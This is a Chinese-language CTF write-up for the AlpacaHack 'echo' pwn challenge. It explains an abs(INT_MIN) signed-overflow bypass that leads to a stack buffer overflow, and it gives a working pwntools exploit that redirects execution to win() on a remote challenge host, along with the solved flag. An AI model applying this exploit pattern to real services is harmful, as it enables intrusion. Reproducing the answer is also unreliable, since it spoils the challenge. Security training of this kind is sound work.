AlpacaHack Round 1 (Pwn) echo(Abs有符号整数溢出,栈溢出)
网址(内容来自互联网,风险自担)
链接: alpacahack
题目
做法
下载压缩包,解压
开虚拟机checksec(不知道是哪个文件的进虚拟机拖文件的时候自然就知道了,是echo,熟悉的文件标志)
64位,没开栈保护
这里,我们看到压缩包解压后还有个C源文件,我们点进去看看(可以下vsCode等工具打开)
完整代码如下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x100
/* Call this function! */
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
int get_size() {
// Input size
int size = 0;
scanf("%d%*c", &size);
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
puts("[-] Invalid size");
exit(1);
}
return size;
}
void get_data(char *buf, unsigned size) {
unsigned i;
char c;
// Input data until newline
for (i = 0; i < size; i++) {
if (fread(&c, 1, 1, stdin) != 1) break;
if (c == '\n') break;
buf[i] = c;
}
buf[i] = '\0';
}
void echo() {
int size;
char buf[BUF_SIZE];
// Input size
printf("Size: ");
size = get_size();
// Input data
printf("Data: ");
get_data(buf, size);
// Show data
printf("Received: %s\n", buf);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
echo();
return 0;
}
还是先找main函数,在最后,没啥东西,但我们看到它调用了一个echo函数,找到这个函数看看
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
echo();
return 0;
}
定义了一个size,声明了一个字符数组 buf,数组大小由BUF_SIZE 决定,我们先找这个size看看
void echo() {
int size;
char buf[BUF_SIZE];
打印”Size:“,然后让size = get_size(),结合echo函数,都指向get_size,我们找到它看看
// Input size
printf("Size: ");
size = get_size();
定义size = 0,然后读取一个十进制整数,并将其存储到 size 变量中
(%d 是格式说明符(用于读取或输出十进制整数))
int get_size() {
// Input size
int size = 0;
scanf("%d%*c", &size);
看到这没提到啥函数了,顺势往下看
在第20行我们看到abs,怀疑是否为Abs有符号整数溢出
让用户输入的数变成绝对值,查看是否大于第5行定义的BUF_SIZE(0x100)
转换一下进制,0x100=256(十进制)
若大于,则异常退出(exit(0)进程正常终止,exit(1)进程异常终止)
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
puts("[-] Invalid size");
exit(1);
}
Abs有符号整数溢出
eg.对于32位int(int一般都是32位的)类型,当INT_MIN(某种整数类型所能表示的最小数值)为-2147483648时,它的绝对值会变成2147483648,但是由于int的最大值是2147483647,因此无法表示,发生溢出
然后,我们再看看其他没看到的函数
get_data把size的值放进buf(结合栈保护没打开,我们考虑是否有栈溢出)
// Input data
printf("Data: ");
get_data(buf, size);
发现一个for循环,令i=size
// Input data until newline
for (i = 0; i < size; i++) {
if (fread(&c, 1, 1, stdin) != 1) break;
if (c == '\n') break;
buf[i] = c;
}
buf[i] = '\0';
}
然后看到第8行的win函数,我们看到"/bin/cat"和"/flag.txt",可以当做我们的后门函数,
如果 execve 调用成功,当前进程会开始执行 /bin/cat 程序,并显示 /flag.txt 文件的内容,因此,我们exp最后与靶机交互的命令也要改改
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
其他就没啥了(这个C源文件跟IDA反编译后内容差不多,主要是找C源文件找到疑点却没有的东西,比如buf,考虑栈溢出)
扔进IDA(64位),找到main,F5反编译
上面分析过,没啥东西,其他函数点进去也没啥东西,我们点进echo函数看看
我们看到了上面分析的get_size和get_data函数
上面分析到get_data将size的值给了buf,然后我们去看buf的栈(可能是我IDA的问题,我点不进去buf,只能根据别的wp得知offset=280,不过也没关系,这里跟最简单的栈溢出题一样,知道思路就可以了)
写exp之前nc一下看看什么时候发送东西造成溢出
exp
#导入pwn模块
from pwn import *
#与靶机进行连接
r = remote("34.170.146.252",11081)
#合适位置进行abs有符号整数溢出
r.sendlineafter(b"Size:",b"-2147483648")
#合适位置发送字节数据和后门函数win
r.sendlineafter(b"Data:",b'A'*280 + p64(0x4011F6))
#打印返回的flag
print(r.recvall())
常规,得出flag——Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}
更新
于2025.4.16